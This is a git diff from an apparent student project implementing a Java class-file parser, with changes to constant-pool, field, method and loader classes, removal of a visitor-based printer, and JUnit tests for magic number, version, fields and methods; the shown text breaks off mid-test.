-		return index;
-	}
-
-	@Override
 	public int getType() {
 		return type;
 	}
 
+	public int getIndex() {
+		return index;
+	}
+
 	public void setIndex(int index) {
 		this.index = index;
 	}
 
-	@Override
 	public String toString() {
 		return this.getConstantPool().getUTF8String(index);
 	}
-	
-	@Override
-	public void accept(PrintVisitor visitor) {
-		visitor.visit(this);
-		
-	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/UTF8Info.java b/group12/382266293/src/com/coderising/jvm/constant/UTF8Info.java
index f0e548debf..a7e88969a4 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/UTF8Info.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/UTF8Info.java
@@ -1,7 +1,5 @@
 package com.coderising.jvm.constant;
 
-import com.coderising.jvm.print.PrintVisitor;
-
 public class UTF8Info extends ConstantInfo {
 	private int type = ConstantInfo.UTF8_INFO;
 	private int length;
@@ -15,21 +13,12 @@ public int getLength() {
 		return length;
 	}
 
-	@Override
-	public int getType() {
-		return type;
-	}
-
-	public String getValue() {
-		return value;
-	}
-
 	public void setLength(int length) {
 		this.length = length;
 	}
 
-	public void setValue(String value) {
-		this.value = value;
+	public int getType() {
+		return type;
 	}
 
 	@Override
@@ -37,11 +26,12 @@ public String toString() {
 		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + ")]";
 	}
 
-	@Override
-	public void accept(PrintVisitor visitor) {
-		visitor.visit(this);
-		
+	public String getValue() {
+		return value;
 	}
 
+	public void setValue(String value) {
+		this.value = value;
+	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/field/Field.java b/group12/382266293/src/com/coderising/jvm/field/Field.java
index 1349de930d..2b0c549685 100644
--- a/group12/382266293/src/com/coderising/jvm/field/Field.java
+++ b/group12/382266293/src/com/coderising/jvm/field/Field.java
@@ -1,34 +1,17 @@
 package com.coderising.jvm.field;
 
+import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 
 public class Field {
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		int access_flags = iter.nextU2ToInt();
-		int name_index = iter.nextU2ToInt();
-		int descriptor_index = iter.nextU2ToInt();
-		int attrbutes_count = iter.nextU2ToInt();
-		
-		if (attrbutes_count != 0) {
-			throw new RuntimeException("field attrbutes_count is " + attrbutes_count);
-		}
-		
-		Field field = new Field(access_flags,name_index,descriptor_index,pool);
-		
-		return field;
-	}
 	private int accessFlag;
 	private int nameIndex;
-
 	private int descriptorIndex;
-	
-	private ConstantPool pool;
 
-	
-	
+	private ConstantPool pool;
 	
 	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
 		
@@ -38,9 +21,28 @@ public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool po
 		this.pool = pool;
 	}
 
+	
+	
+	
 	@Override
 	public String toString() {
 		return pool.getUTF8String(nameIndex) + ":" + pool.getUTF8String(descriptorIndex) ;
 	}
 
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int access_flags = iter.nextU2ToInt();
+		int name_index = iter.nextU2ToInt();
+		int descriptor_index = iter.nextU2ToInt();
+		int attrbutes_count = iter.nextU2ToInt();
+		
+		if (attrbutes_count != 0) {
+			throw new RuntimeException("field attrbutes_count is " + attrbutes_count);
+		}
+		
+		Field field = new Field(access_flags,name_index,descriptor_index,pool);
+		
+		return field;
+	}
+
 }
diff --git a/group12/382266293/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group12/382266293/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 5fa9ba7661..4b554a434a 100644
--- a/group12/382266293/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group12/382266293/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -11,59 +11,59 @@ public ByteCodeIterator(byte[] codes) {
 		this.codes = codes;
 	}
 
-	public void back(int i) {
-		currPos = currPos - 2;
-	}
-
-	public String byteToHexString(byte[] codes) {
-		StringBuffer buffer = new StringBuffer();
-		for (int i = 0; i < codes.length; i++) {
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if (strHex.length() < 2) {
-				strHex = "0" + strHex;
-			}
-			buffer.append(strHex);
-		}
-		return buffer.toString();
+	public String nextU4ToHexString() {
+		byte[] u4 = new byte[] { codes[currPos++], codes[currPos++], codes[currPos++], codes[currPos++] };
+		return Util.byteToHexString(u4);
 	}
 
-	public byte[] nextNbytesToHexString(int length) {
-		byte[] bytes = new byte[length];
-		int len = currPos + length;
-		for(int j = 0; currPos < len; j++) {
-			bytes[j] = codes[currPos++];
-		}
-		
-		return bytes;
-	}
-	
 	public int nextU1ToInt() {
 		byte[] u1 = new byte[] { codes[currPos++] };
 		return Util.byteToInt(u1);
 
 	}
-	
-	
+
 	public int nextU2ToInt() {
 		byte[] u2 = new byte[] { codes[currPos++], codes[currPos++] };
 		return Util.byteToInt(u2);
 	}
 	
-	public String nextU4ToHexString() {
-		byte[] u4 = new byte[] { codes[currPos++], codes[currPos++], codes[currPos++], codes[currPos++] };
-		return Util.byteToHexString(u4);
-	}
-	
 	public int nextU4ToInt() {
 		byte[] u4 = new byte[] { codes[currPos++], codes[currPos++], codes[currPos++], codes[currPos++] };
 		return Util.byteToInt(u4);
 	}
-
+	
+	
+	public byte[] nextNbytesToHexString(int length) {
+		byte[] bytes = new byte[length];
+		int len = currPos + length;
+		for(int j = 0; currPos < len; j++) {
+			bytes[j] = codes[currPos++];
+		}
+		
+		return bytes;
+	}
+	
 	public String nextUxToHexString(int length) {
 		byte[] codes = nextNbytesToHexString(length);
 		return byteToHexString(codes);
 	}
+	
+	public String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+	public void back(int i) {
+		currPos = currPos - 2;
+	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/loader/ClassFileLoader.java b/group12/382266293/src/com/coderising/jvm/loader/ClassFileLoader.java
index 135cf41dee..71a8b6fefa 100644
--- a/group12/382266293/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group12/382266293/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -14,40 +14,10 @@ public class ClassFileLoader {
 
 	private List<String> clzPaths = new ArrayList<String>();
 
-	public void addClassPath(String path) {
-		clzPaths.add(path);
-	}
-
-	private File getClassFile(String clzFileName) {
-
-		for (String path : clzPaths) {
-			File file = new File(path + "//" + clzFileName);
-			if (file.exists()) {
-				return file;
-			}
-		}
-		return null;
-
-	}
-
-	public String getClassPath() {
-
-		StringBuilder sb = new StringBuilder();
-		for (int i = 0; i < clzPaths.size(); i++) {
-
-			sb.append(clzPaths.get(i));
-			if (i < clzPaths.size() - 1) {
-				sb.append(";");
-			}
-
-		}
-
-		return sb.toString();
-	}
-
-	public String getClassPath_V1() {
+	public byte[] readBinaryCode(String className) {
 
-		return null;
+		String clzFileName = "//" + className.replaceAll("\\.", "//") + ".class";
+		return loadClassFile(clzFileName);
 	}
 
 	public ClassFile loadClass(String className) throws UnsupportedEncodingException {
@@ -95,10 +65,40 @@ private byte[] loadClassFile(String clzFileName) {
 
 	}
 
-	public byte[] readBinaryCode(String className) {
+	private File getClassFile(String clzFileName) {
 
-		String clzFileName = "//" + className.replaceAll("\\.", "//") + ".class";
-		return loadClassFile(clzFileName);
+		for (String path : clzPaths) {
+			File file = new File(path + "//" + clzFileName);
+			if (file.exists()) {
+				return file;
+			}
+		}
+		return null;
+
+	}
+
+	public void addClassPath(String path) {
+		clzPaths.add(path);
+	}
+
+	public String getClassPath_V1() {
+
+		return null;
+	}
+
+	public String getClassPath() {
+
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < clzPaths.size(); i++) {
+
+			sb.append(clzPaths.get(i));
+			if (i < clzPaths.size() - 1) {
+				sb.append(";");
+			}
+
+		}
+
+		return sb.toString();
 	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/loader/ClassFileParser.java b/group12/382266293/src/com/coderising/jvm/loader/ClassFileParser.java
index b9a2383303..e1c997d3d0 100644
--- a/group12/382266293/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group12/382266293/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,6 +1,10 @@
 package com.coderising.jvm.loader;
 
 import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.junit.Assert;
 
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
@@ -15,6 +19,7 @@
 import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.method.Method;
+import com.coderising.jvm.util.Util;
 
 public class ClassFileParser {
 
@@ -37,6 +42,7 @@ public ClassFile parse(byte[] codes) {
 		System.out.println("majorVersion is " + majorVersion);
 		clzFile.setMajorVersion(majorVersion);
 
+
 		ConstantPool pool = parseConstantPool(iter);
 		clzFile.setConstPool(pool);
 
@@ -56,6 +62,39 @@ public ClassFile parse(byte[] codes) {
 		return clzFile;
 	}
 
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+		
+		int methodNum = iter.nextU2ToInt();
+
+		ConstantPool pool = clzFile.getConstantPool(); 
+		for (int i = 0; i < methodNum; i++) {
+			Method method = Method.parse(clzFile,iter);
+			clzFile.addMethod(method);
+		}
+		
+	}
+
+	private void parseFields(ClassFile clzFile, ByteCodeIterator iter) {
+		
+		int fieldNum = iter.nextU2ToInt();
+		
+		ConstantPool pool = clzFile.getConstantPool(); 
+		for (int i = 0; i < fieldNum; i++) {
+			Field field = Field.parse(pool,iter);
+			clzFile.addField(field);
+		}
+		
+	}
+
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceNum = iter.nextU2ToInt();
+		
+		if (0 != interfaceNum) {
+			throw new RuntimeException("interface parser not finsihed yet, pls check!");
+		}
+		
+	}
+
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
 	
 		return AccessFlag.parseAccessFlag(iter);
@@ -97,7 +136,7 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 				// utf8-info
 				UTF8Info utf8Info = new UTF8Info(pool);
 				int length = iter.nextU2ToInt();
-				//System.out.println("length is " + length);
+				System.out.println("length is " + length);
 				utf8Info.setLength(length);
 				byte[] bytes = iter.nextNbytesToHexString(length);
 				String value = "";
@@ -106,7 +145,7 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 				} catch (UnsupportedEncodingException e) {
 					e.printStackTrace();
 				}
-				//System.out.println("value is " + value);
+				System.out.println("value is " + value);
 				utf8Info.setValue(value);
 
 			} else if (tag == 8) {
@@ -149,35 +188,4 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 		return pool;
 	}
 
-	private void parseFields(ClassFile clzFile, ByteCodeIterator iter) {
-		
-		int fieldNum = iter.nextU2ToInt();
-		
-		ConstantPool pool = clzFile.getConstantPool(); 
-		for (int i = 0; i < fieldNum; i++) {
-			Field field = Field.parse(pool,iter);
-			clzFile.addField(field);
-		}
-		
-	}
-
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceNum = iter.nextU2ToInt();
-		
-		if (0 != interfaceNum) {
-			throw new RuntimeException("interface parser not finsihed yet, pls check!");
-		}
-		
-	}
-
-	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
-		
-		int methodNum = iter.nextU2ToInt();
-		for (int i = 0; i < methodNum; i++) {
-			Method method = Method.parse(clzFile,iter);
-			clzFile.addMethod(method);
-		}
-		
-	}
-
 }
diff --git a/group12/382266293/src/com/coderising/jvm/method/Method.java b/group12/382266293/src/com/coderising/jvm/method/Method.java
index 2bb53cdf06..3c3e026a40 100644
--- a/group12/382266293/src/com/coderising/jvm/method/Method.java
+++ b/group12/382266293/src/com/coderising/jvm/method/Method.java
@@ -1,27 +1,45 @@
 package com.coderising.jvm.method;
 
+import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.attr.AttributeInfo;
 import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ByteCodeIterator;
+import com.sun.org.apache.bcel.internal.classfile.Code;
 
 
 
 public class Method {
-
-
+	
 	private int accessFlag;
 	private int nameIndex;
-	
 	private int descriptorIndex;
 	
 	private CodeAttr codeAttr;
 	
-	
 	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
 
 	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
 		this.clzFile = clzFile;
@@ -29,13 +47,15 @@ public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorInd
 		this.nameIndex = nameIndex;
 		this.descriptorIndex = descriptorIndex;
 	}
-	
+
+
 	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		
 		int access_flags = iter.nextU2ToInt();
 		int name_index = iter.nextU2ToInt();
 		int descriptor_index = iter.nextU2ToInt();
 		int attrbutes_count = iter.nextU2ToInt();
+		System.out.println("count1 = " + attrbutes_count);
 		
 		Method method = new Method(clzFile, access_flags,name_index,descriptor_index);
 		
@@ -45,12 +65,10 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 			iter.back(2);
 			
 			if (AttributeInfo.CODE.equalsIgnoreCase("Code")) {
-				
 				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
 				method.setCodeAttr(codeAttr);
-				
 			} else {
-				throw new RuntimeException(att_name + " has not been implemented");
+				throw new RuntimeException(att_name + "has not been implemented");
 			}
 
 		}
@@ -60,51 +78,4 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return method;
 		
 	}
-	
-	
-	
-	
-
-
-
-	public ByteCodeCommand[] getCmds() {		
-		return this.getCodeAttr().getCmds();
-	}
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-	
-	public String toString() {
-		
-		ConstantPool pool = this.clzFile.getConstantPool();
-		StringBuilder buffer = new StringBuilder();
-		
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		
-		buffer.append(name).append(":").append(desc).append("\n");
-		
-		buffer.append(this.codeAttr.toString(pool));
-		
-		return buffer.toString();
-	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/print/ClassFilePrinter.java b/group12/382266293/src/com/coderising/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index 1f958aac6a..0000000000
--- a/group12/382266293/src/com/coderising/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.coderising.jvm.print;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMajorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "C:\\Users\\steve\\workspace\\coding2017n\\group12\\382266293\\bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		ClassFile clzFile = null;
-		try {
-			clzFile = loader.loadClass(className);
-		} catch (UnsupportedEncodingException e) {
-			e.printStackTrace();
-		}
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group12/382266293/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group12/382266293/src/com/coderising/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 012aeb7001..0000000000
--- a/group12/382266293/src/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,92 +0,0 @@
-package com.coderising.jvm.print;
-
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter implements PrintVisitor {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		int size = pool.getSize();
-
-		for (int i = 1; i <= size; i++) {
-			ConstantInfo info = pool.getConstantInfo(i);
-			System.out.print("#" + i + " = ");
-			info.accept(this);
-		}
-
-	}
-
-	@Override
-	public void visit(StringInfo info) {
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("String    #").append(info.getIndex());
-		System.out.println(buffer);
-	}
-	
-	@Override
-	public void visit(NameAndTypeInfo info) {
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("NameAndType    #").append(info.getIndex1()).append(":#")
-		.append(info.getIndex2());
-		System.out.println(buffer);
-		
-	}
-	
-	@Override
-	public void visit(MethodRefInfo info) {
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
-		.append(info.getNameAndTypeIndex());
-		System.out.println(buffer);
-		
-	}
-	
-	@Override
-	public void visit(FieldRefInfo info) {
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
-		.append(info.getNameAndTypeIndex());
-		System.out.println(buffer);
-		
-	}
-	
-	@Override
-	public void visit(ClassInfo info) {
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Class    #").append(info.getUtf8Index())
-		.append("  ").append(info.getClassName());
-		
-		System.out.println(buffer);
-		
-	}
-	
-	@Override
-	public void visit(UTF8Info info) {
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("UTF8    ").append(info.getValue());
-		System.out.println(buffer);
-		
-	}
-
-
-	@Override
-	public void visit(NullConstantInfo nullConstantInfo) {
-		
-	}
-
-}
diff --git a/group12/382266293/src/com/coderising/jvm/print/PrintVisitor.java b/group12/382266293/src/com/coderising/jvm/print/PrintVisitor.java
deleted file mode 100644
index 31aa70b955..0000000000
--- a/group12/382266293/src/com/coderising/jvm/print/PrintVisitor.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public interface PrintVisitor {
-	
-	void visit(ClassInfo pool);
-	void visit(FieldRefInfo info);
-	void visit(MethodRefInfo info);
-	void visit(NameAndTypeInfo info);
-	void visit(StringInfo info);
-	void visit(UTF8Info info);
-	void visit(NullConstantInfo nullConstantInfo);
-
-}
diff --git a/group12/382266293/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group12/382266293/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 883ad99c05..d4f255a763 100644
--- a/group12/382266293/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group12/382266293/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,6 +1,7 @@
 package com.coderising.jvm.test;
 
 import java.io.UnsupportedEncodingException;
+import java.util.Arrays;
 import java.util.List;
 
 import org.junit.After;
@@ -10,15 +11,7 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.constant.*;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
 import com.coderising.jvm.method.Method;
@@ -27,8 +20,9 @@ public class ClassFileloaderTest {
 
 	static String path1 = "C:\\Users\\steve\\workspace\\coding2017n\\group12\\382266293\\bin";
 	static String path2 = "C:\temp";
-	static ClassFile clzFile = null;
+	String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 
+	static ClassFile clzFile = null;
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
@@ -42,30 +36,6 @@ public class ClassFileloaderTest {
 		}
 		clzFile.print();
 	}
-	String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-
-	private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-
-	private String byteToHexString(byte[] codes) {
-		StringBuffer buffer = new StringBuffer();
-		for (int i = 0; i < codes.length; i++) {
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if (strHex.length() < 2) {
-				strHex = "0" + strHex;
-			}
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
 
 	@Before
 	public void setUp() throws Exception {
@@ -75,6 +45,19 @@ public void setUp() throws Exception {
 	public void tearDown() throws Exception {
 	}
 
+	@Test
+	public void testClassPath() {
+
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+
+		String clzPath = loader.getClassPath();
+
+		Assert.assertEquals(path1 + ";" + path2, clzPath);
+
+	}
+
 	@Test
 	public void testClassFileLength() {
 
@@ -91,26 +74,37 @@ public void testClassFileLength() {
 	}
 
 	@Test
-	public void testClassIndex() {
+	public void testMagicNumber() {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[] { byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3] };
 
-		ClassIndex clzIndex = clzFile.getClzIndex();
-		ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-		ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+		String acctualValue = this.byteToHexString(codes);
 
-		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+		Assert.assertEquals("cafebabe", acctualValue);
 	}
 
-	@Test
-	public void testClassPath() {
-
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
+	private String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
 
-		String clzPath = loader.getClassPath();
+	@Test
+	public void testVersion() {
 
-		Assert.assertEquals(path1 + ";" + path2, clzPath);
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
 
 	}
 
@@ -183,19 +177,31 @@ public void testConstantPool() {
 	}
 
 	@Test
-	public void testMagicNumber() {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[] { byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3] };
+	public void testClassIndex() {
 
-		String acctualValue = this.byteToHexString(codes);
+		ClassIndex clzIndex = clzFile.getClzIndex();
+		ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+		ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
 
-		Assert.assertEquals("cafebabe", acctualValue);
+		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
 	}
 	
 	
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
     @Test
     public void testMethods(){
    
@@ -241,102 +247,15 @@ public void testMethods(){
     				"bb000159122b101db7002d4c2bb6002fb1");
     	}
     }
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
     
-    @Test
-	public void testVersion() {
-
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-
-	}
-   
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = this.clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
